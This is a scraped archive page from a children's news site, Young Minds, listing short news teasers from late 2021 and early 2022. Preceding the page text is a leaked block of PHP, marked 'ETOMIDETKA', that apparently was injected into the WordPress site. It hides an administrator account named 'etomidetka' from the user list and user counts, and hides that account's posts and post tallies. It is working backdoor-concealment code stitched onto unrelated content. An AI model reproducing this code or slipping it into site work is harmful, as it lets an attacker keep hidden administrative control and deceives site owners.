//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); Main News | YOUNG MINDS | Page 11

YOUNG MINDS

  • Home
  • About Us
  • Venture For All
  • Testimonials
  • Guest Editor
  • Contact Us
Home / Archive by category Main News (Page 11)
Microsoft Chairman Satya Nadella & Alphabet CEO Sundar Pichai to be conferred with Padma Bhushan

Microsoft Chairman Satya Nadella & Alphabet CEO Sundar Pichai to be conferred with Padma Bhushan

The Ministry of Home Affairs has announced that Satya Nadella and Sundar Pichai will be conferred with Padma Bhushan. Satya Nadella is Chairman and Chief …

January 28, 2022 | Main News
PM Modi declares January 16 as National Startup Day

PM Modi declares January 16 as National Startup Day

Prime Minister Narendra Modi has announced that January 16 would now be celebrated as National Startup Day in order to spread the culture of startups in every …

January 21, 2022 | Main News
Past seven years hottest on record

Past seven years hottest on record

The past seven years have been the hottest on record, according to new data from the EU’s satellite system. The Copernicus Climate Change Service said 2021 …

January 14, 2022 | Main News
The world’s most powerful passports in 2022

The world’s most powerful passports in 2022

Even as the world continues to cope with the COVID-19 pandemic, Japan and Singapore have topped the list of being the most powerful passport in the world for …

January 14, 2022 | Main News
Artificial Intelligence Ethics Agreement adopted by 193 countries

Artificial Intelligence Ethics Agreement adopted by 193 countries

All the nations members of the UN Educational, Scientific and Cultural Organization (UNESCO) have adopted a historical text that defines the common values and …

January 7, 2022 | Main News
India approves emergency use of COVID-19 jabs Covovax, Corbevax & Merck’s antiviral pill

India approves emergency use of COVID-19 jabs Covovax, Corbevax & Merck’s antiviral pill

Central Drugs Standard Control Organisation (CDSCO) has granted emergency use approval to Serum Institute of India and Biological E’s COVID-19 vaccines …

December 31, 2021 | Main News
Prime Minister Narendra Modi’s New 12 Crore Armoured Mercedes Maybach S650 Guard

Prime Minister Narendra Modi’s New 12 Crore Armoured Mercedes Maybach S650 Guard

A new ironclad Mercedes-Maybach S 650 Guard has been added to the Shri Narendra Modi‘s joint fleet of cars, replacing the old Range Rover Vogue and the …

December 31, 2021 | Main News
The world’s first SMS sells for €107,000

The world’s first SMS sells for €107,000

The world’s first SMS that reads “Merry Christmas” has been sold for over 91 lakh as a non-fungible token (NFT) at an auction in Paris on 21st December. …

December 24, 2021 | Main News
Biden pledges 500M free COVID-19 tests to counter omicron

Biden pledges 500M free COVID-19 tests to counter omicron

With the omicron variant on the rise, President Joe Biden has plans to announce 500 million free rapid tests for Americans, increased support for hospitals …

December 24, 2021 | Main News
India wins Miss Universe crown after 21 years

India wins Miss Universe crown after 21 years

21 years after India won the Miss Universe international beauty pageant, Indian actor-model Harnaaz Sandhu made history on 13th December, after she was crowned …

December 17, 2021 | Main News
← Older posts
Newer posts →

About Us

Young Minds is a weekly newspaper for youngsters intended for young curious minds.It is available electronically.The newspaper has been especially designed in vibrant colours to make it extremely attractive to our readers.

Young Mind News Papers Pvt. Ltd.
Plot No. 166, 2nd Floor,
Udyog Vihar Phase 1,
Gurugram-122008, Haryana (India)
E-mail : newsdesk@youngmindsonline.org
Mobile : 09811456566

Digital E-Newspaper
Only for Rs. 999 Annual 52 Issues

  • Privacy Policy
  • Terms & Conditions
  • Return, Refund and Cancellation Policy
  • Disclaimer
© 2023 Young Minds. All rights reserved.
Designed and developed by Young Minds